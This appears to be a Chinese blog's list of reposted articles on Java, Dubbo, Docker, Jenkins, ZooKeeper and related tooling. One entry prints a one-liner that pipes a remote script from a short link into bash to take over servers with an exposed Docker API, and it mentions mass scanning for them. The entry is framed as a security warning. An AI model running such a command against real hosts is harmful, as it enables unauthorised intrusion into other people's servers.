
java学习
yao不ke及
2年程序猿,技术转型阶段,熟悉java,php,web前端技术,正处于技术发展的迷茫期,思前想后,准备专攻java。我爱技术,我爱分享。
展开
-
深入理解Java SOA 架构Dubbo系列—— 第一回 结缘
一年半以前,我在一家创业公司从事服务器端开发工作,虽然当时公司已经拿到了6000w的A轮融资,并且App已经有超过百万的日活,开发团队已经有10几个人。但是看一眼服务器的代码,却感觉和笔者本科时候做的“学生管理”系统没什么两样。所有的服务器代码,都在一个JavaWeb工程里,然后被打包成War,使用Tomcat部署。为了应对增长的活跃用户,使用Haproxy做了负载均衡,同样的war包会在5-10转载 2017-09-13 11:49:10 · 474 阅读 · 0 评论 -
Centos7中docker开启远程访问(Centos7 docker remote access configure)
首先,centos中docker的配置不同于ubuntu,在centos中没有/etc/default/docker,另外在centos7中也没有找到/etc/sysconfig/docke这个配置文件。参考了网上的文章,配置好了centos7的docker远程访问,配置过程如下。在作为docker远程服务的centos7机器中配置:1、在/usr/lib/systemd/system/docke...转载 2018-04-03 17:28:56 · 315 阅读 · 0 评论 -
JDBC rewriteBatchedStatements对批量插入的影响
JDBC rewriteBatchedStatements对批量插入的影响如果不开启rewriteBatchedStatements=true,那么jdbc会把批量插入当做一行行的单条处理,也即没有达到批量插入的效果 示例代码表结构CREATE TABLE `batch_insert_test_db` ( `id` int(11) NOT NULL AUTO_INCREMENT, `na...转载 2018-04-16 18:00:14 · 810 阅读 · 0 评论 -
quartz Cron表达式一分钟教程
CronTriggerCronTriggers往往比SimpleTrigger更有用,如果您需要基于日历的概念,而非SimpleTrigger完全指定的时间间隔,复发的发射工作的时间表。CronTrigger,你可以指定触发的时间表如“每星期五中午”,或“每个工作日9:30时”,甚至“每5分钟一班9:00和10:00逢星期一上午,星期三星期五“。即便如此,SimpleTrigger一样,CronT...转载 2018-04-17 12:13:39 · 6560 阅读 · 0 评论 -
excel java maven
https://gitee.com/Crab2Died/Excel4J转载 2018-04-13 16:13:39 · 443 阅读 · 0 评论 -
Centos7中docker开启远程访问(Centos7 docker remote access configure)
首先,centos中docker的配置不同于ubuntu,在centos中没有/etc/default/docker,另外在centos7中也没有找到/etc/sysconfig/docke这个配置文件。参考了网上的文章,配置好了centos7的docker远程访问,配置过程如下。在作为docker远程服务的centos7机器中配置:1、在/usr/lib/systemd/system/docke...转载 2018-05-10 14:54:58 · 2711 阅读 · 0 评论 -
一个回车键黑掉一台服务器——使用Docker时不要这么懒啊喂
不说废话真的一个回车键:curl -sSL https://git.io/vXNB4 | bash -s test <addr:port>自己替换<addr:port>的内容,下面是原理与批量扫描测试。首先我不是什么黑客,也不是什么白帽子,我甚至从未踏进那个圈子,但是前几天闲来无事扫了一下网络上开放的Docker API端口,发现互联网上存在着大量未使用加密传输、直接开放...转载 2018-05-10 15:03:18 · 778 阅读 · 0 评论 -
Jenkins集成Docker镜像实现自动发布
1. 思路&流程Jenkins集成Docker镜像实现自动发布与Jenkins发布mavne项目思路一样总体流程 为:Jenkins 拉去远端源码 —— gitl实现应用打包 —— jenkins本地把应用程序打包进Docker镜像 —— Dockerfile镜像上传到Docker私有仓库 —— shell或者 Docker相关的Jekins插件删除老的Docker容器,运行新的Docke...转载 2018-05-10 15:39:24 · 3988 阅读 · 1 评论 -
使用Generic Webhook Trigger插件实现Jenkins+WebHooks(码云)持续集成
业务背景我们在开发的时候,特别是前后端分离的时候,前端需要我们后端提供的API接口,可能需要每次有一个接口的变动都需要重新部署到dev环境上,例如:最常见的Git工作流的方式,develop和master是分开的,在开发过程中提交的代码首先合并到develop上,如下图:如果,使用Jenkins做集成工具,每次有代码合并的时候,也需要手动的去构建:这是一件很繁琐的事情,如何实现当代码自动提交到de...转载 2018-05-10 18:08:31 · 899 阅读 · 1 评论 -
docker 安装mysql
1、docker下载镜像。#我们查看一下docker.hup上的镜像。[root@bfd-v7 ~]# docker search mysqlNAME DESCRIPTION STARS OFFI...转载 2018-03-12 15:40:54 · 182 阅读 · 0 评论 -
Docker基本命令使用详解
1. 查看docker信息(version、info)?12345# 查看docker版本 docker version # 显示docker系统的信息 docker info2. 对image的操作(search、pull、images、rmi、history)?123456789101112# 检索image docker search image_name # 下载image docker...转载 2018-03-12 10:11:09 · 195 阅读 · 0 评论 -
深入理解Java SOA 架构Dubbo系列—— 第二回 搭建dubbo-demo环境
本文目的阶段一 基于本地调用的dubbo框架阶段二 基于Zookeeper注册中心的dubbo框架相关资料基于本地调用的dubbo代码框架基于注册中心的dubbo代码框架本文目的一旦提到某某架构,可能很多人的第一感觉就是:这个东西很复杂,很难实际操作。其实不然,只要获得对的资料,搭建自己的dubbo框架并不是一件难事,不过由于历史原因,很多资料过于老旧,转载 2017-09-13 11:53:22 · 460 阅读 · 0 评论 -
微服务场景下的自动化测试
微服务和传统的单块应用相比,在测试策略上,会有一些不太一样的地方。简单来说,在微服务架构中,测试的层次变得更多,而且对环境的搭建要求更高。比如对单块应用,在一个机器上就可以setup出所有的依赖,但是在微服务场景下,由于依赖的服务往往很多,要搭建一个完整的环境非常困难,这对团队的DevOps的能力也有比较高的要求。相对于单块来说,微服务架构具有以下特点:每个微服务在物理上分属不同进转载 2017-09-21 16:16:30 · 1045 阅读 · 1 评论 -
使用 Docker 一步搞定 ZooKeeper 集群的搭建
原来学习 ZK 时, 我是在本地搭建的伪集群, 虽然说使用起来没有什么问题, 但是总感觉部署起来有点麻烦. 刚好我发现了 ZK 已经有了 Docker 的镜像了, 于是就尝试了一下, 发现真是爽爆了, 几个命令就可以搭建一个完整的 ZK 集群. 下面我简单记录一下使用 Docker 搭建 ZK 集群的一些步骤.镜像下载hub.docker.com 上有不少 ZK 镜像, 不过为转载 2017-10-19 10:48:33 · 295 阅读 · 0 评论 -
zookeeper 安装 windows环境
1. 概述ZooKeeper是Hadoop的正式子项目,它是一个针对大型分布式系统的可靠协调系统,提供的功能包括:配置维护、名字服务、分布式同步、组服务等。ZooKeeper的目标就是封装好复杂易出错的关键服务,将简单易用的接口和性能高效、功能稳定的系统提供给用户。 2. 安装&配置在apache的官方网站提供了好多镜像下载地址,然后找到对应的版本转载 2017-10-19 22:47:23 · 181 阅读 · 0 评论 -
在IDEA中使用MyBatis Generator逆向工程生成代码
本文介绍一下用Maven工具如何生成Mybatis的代码及映射的文件。一、配置Maven pom.xml 文件在pom.xml增加以下插件: zsxt groupId>org.mybatis.generatorgroupId> mybatis-generator-maven-plugin 1.3.2转载 2017-10-25 18:09:45 · 199 阅读 · 0 评论 -
org.apache.commons.lang.StringUtils类提供了String的常用操作,最为常用的判空有如下两种isEmpty(String str)和isBlank(String st
org.apache.commons.lang.StringUtils类提供了String的常用操作,最为常用的判空有如下两种isEmpty(String str)和isBlank(String str)。StringUtils.isEmpty(String str) 判断某字符串是否为空,为空的标准是 str==null 或 str.length()==0System.out.p转载 2017-11-16 11:23:12 · 537 阅读 · 0 评论 -
一个奇妙的java坑:Long 类型的比较
使用“==”的疑问if (user.getId() == admin.getId()) { return true; } else { return false;}两个Long型的ID之间的比较,结果却是false。再看一个Long id1 = 123L; Long id2 = 123L;System.out.println(id1 == id2转载 2017-12-01 14:45:30 · 4790 阅读 · 3 评论 -
Velocity 模板引擎介绍
https://www.ibm.com/developerworks/cn/java/j-lo-velocity1/转载 2017-12-22 10:45:54 · 212 阅读 · 0 评论 -
java.nio_百度百科
java.nio 编辑java.nio全称java non-blocking IO,是指jdk1.4 及以上版本里提供的新api(New IO) ,为所有的原始类型(boolean类型除外)提供缓存支持的数据容器,使用它可以提供非阻塞式的高伸缩性网络。中文名java非阻塞式IO外文名java nio缓冲区数据容器特 性Channel,Buffer,Selector简 称nio目 ...转载 2018-05-06 15:11:29 · 234 阅读 · 0 评论